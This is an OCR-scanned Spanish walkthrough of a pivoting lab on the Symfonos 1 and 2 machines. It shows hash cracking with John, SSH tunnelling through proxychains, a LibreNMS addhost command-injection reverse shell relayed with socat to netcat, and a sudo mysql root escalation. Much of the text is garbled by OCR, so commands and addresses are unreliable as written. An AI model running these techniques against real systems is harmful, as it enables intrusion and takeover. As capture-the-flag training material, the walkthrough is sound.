librenms:!:18095 1

6.5. SSH

Una vez obtenidos los archivos de credenciales, los unificamos con el comando

unshadow.

unshadow passwd shadow.back >

A continuacion, vamos a descifrar las credenciales utilizando John.




kaligkali jdhn ——wordlist="/home/kali/rockyou.txt’' credenciales

Using default input encoding: UTF-8

Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6% [SHA512 256/256 AVX2 &x])
Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 2 OpenMP threads

g' or Ctrl-C to abort, almost any other key for status
amo ( )

Obtenemos las credenciales aeolus:sergioteamo.

Recordamos que en la enumeracion inicial de Symfonos 2 estaba el servicio SSH

disponible. Vamos a probar las credenciales para el servicio SSH.

kaligkali proxychains ssh aeolus@l0.0.2.4
[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.2.4:22 ... OK
aeolus@l®.8.2.4's password:

Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb%u3 (2019-06-16) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 14 15:29:50 2023 from 10.0.2.5
$ whoami
aeolus

aeolusa

Obtenemos conexion a la maquina Symfonos 2.

7- Explotacion DE Symfonos 2

Una vez obtenemos conexién a Symfonos 2, vamos a comenzar comprobando si podemos

ejecutar comandos usando sudo.

aeolusasymfo :~% sudo -1

[sudo] password for aeolus:

So0rry; user may not run sudo on symfonos2.
aeolus onos2:~%

El siguiente paso sera comprobar las conexiones internas de Symfonos 2.
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Peer Address:Port

Anotamos un servicio que se ejecuta de manera local en el puerto 127.0.0.1:8080

Vamos a redirigir este puerto interno de la maquina Symfonos 2 a nuestra maquina de
ataque. Esto lo vamos a hacer aplicando la técnica de local port forwarding a través del

servicio SSH. El procedimiento es el siguiente:

proxychains ssh -L 8080:127.0.0.1:8080 aeolusgl®.0.2.4

De esta manera, comunicamos nuestro puerto 8080 interno con el puerto 8080 interno de
la maguina Symfonos 2. El siguiente paso es ver que se esta ejecutando en ese puerto en

nuestro navegador Web.

LibreNMS .+

C o O D localhost:8080/login

-
282N .
INININ
< LioreNMS
NN

e

Remember Me
I Login

Unauthorised access or use shall render the user liable to criminal
and/or civil prosecution.

Vamos a comprobar si se reutilizan las credenciales y existe el usuario aeolus.
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LibreNMS

Dashboards Default - £ m
Placeholder

Click on the Edit Dashboard button
(next to the list of dashboards) to
add widgets

Remember: You can only move & resize
widgets when you're in Edit Mode.

Se reutilizan las credenciales para el usuario aeolus.
¢Qué es LibreNMS?

LibreNMS es un sistema de administracion de red (NMS) de codigo abierto que utiliza el
protocolo SNMP para monitorear dispositivos de red como enrutadores, conmutadores y
servidores. Se basa en el lenguaje de programacion PHP y utiliza una base de datos
MySQL para almacenar datos. LibreNMS proporciona una interfaz basada en la web para
monitorear y administrar dispositivos de red, asi como funciones de alerta y generacion
de informes. Se puede usar para monitorear redes pequefias y grandes, y es compatible

con una amplia gama de dispositivos de varios proveedores.

Vamos a buscar exploits disponibles para LibreNMS.

kaligkali searchsploit librenms

addhost Command Injection (Metasploit)

Collectd Command Injection (Metasploit)

.46 - 'addhost' Remote Code Execution

.46 - 'search' sSQL Injection

.46 - MAC Accounting Graph Authenticated SOL Injection

Vamos a ver como ejecutamos y si la version vulnerable coincide con la version que esta

ejecutando Symfonos 2. Descargamos el exploit y vemos su contenido.
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Este exploit crea un dispositivo nuevo, nos indica que valores se deben incluir e indica

que el payload anterior es inyectado en community.

Finalmente, vemos como ejecutar el exploit.

params

Pues vamos a ello, de forma manual. Primero, vamos a explicar como vamos a ejecutar.
La IP que vamos a la que vamos a dirigir el exploit es la IP 10.0.2.5 de Symfonos 1 en el
puerto 5000 (Recordamos que Symfonos 1 y Symfonos 2 tienen comunicacion en la red
10.0.2.0/24). Al mismo tiempo, queremos que la reverse Shell sea visible desde nuestra
maquina de ataque, deberemos redigir todos los paquetes que lleguen al puerto 5000 de

Symfonos a nuestra maquina de ataque. Esto lo hacemos con Socat.
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Hostname elhackeretico

SNMP m

SNMP Version vZc ~ udp )

Port Association Mode findex w

0
I

/1i2c Configuration

Community H{rm fimpf;mkfifo fimpif;cat impfflibinish -i 2»&1|nc 10.0.2.5 6000 =Amp) #

Force add - No ICMP or SMMP checks performed

Add Device

Nos vamos ahora a la terminal de Symfonos 1 y configuramos Socat.

socat tcp-listen:6000,fork tcp:192.168.1.94:6000

De esta manera indicamos que todo el trafico que reciba Symfonos 1 en el puerto 6000
sea redirigido al puerto 6000 de nuestra maquina de ataque. En nuestra maquina de ataque

deberemos colocar netcat a la escucha en el puerto 6000.
Posteriormnte, volvemos a LibreNMS para realizar el proceso de ejecucién. Clicamos

sobre el icono ® y seleccionamos Capture. Posteriormente, en la pagina abierta

seleccionamos:

Capture Debug Information

o la—

Posteriormente, clicamos sobre Run y ya deberiamos tener conexion remota desde

nuestra maquina de ataque hacia Symfonos 2.
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kaligkali ! nc -lnvp 6000

listening on [any] 6000 ...

connect to [192.168.1.94] from (UNKNOWN) [192.168.1.17] 48666
/bin/sh: @: can't access tty; job control turned off

$ whoami

cronus

$

Ya tenemos acceso desde nuestra maquina de ataque a Symfonos 2 con otro usuario,

cronus.

8- Elevacion de privilegios en Symfonos 2

Vamos a verificar si el nuevo usuario tiene perfil de usuario puede ejecutar comandos

como sudo.

$ sudo -1
latching Defaults entries for cronus on symfonos2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cronus may run the following commands on symfonos2:
(root) NOPASSWD: fusr/bin/mysql
il |

El usuario Cronus tiene acceso a mysqgl a través de sudo. Consultamos GTOBIns para ver

como elevar privilegios aprovechar esto.

| Sudo

If the binary is allowed to run as superuser by =udo , it does not drop the elevated privileges and may be used to access the file
system, escalate or maintain privileged access.

sudo mysql -e "\! /bin/sh®

Entonces vamos a utilizar esto para elevar privilegios.

id

uid=0(root) gid=0(root) groups=0(root)

Ya tenemos privilegios maximos en Symfonos 2.
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https://gtfobins.github.io/gtfobins/mysql/#sudo

cd /root

s

proof.txt

cat proof.txt

Congrats on rooting symfonos:2

Contact me via Twitter @zayotic to give feedback

Finalizado el laboratorio de pivoting Symfonos 1 + Symfonos 2

30



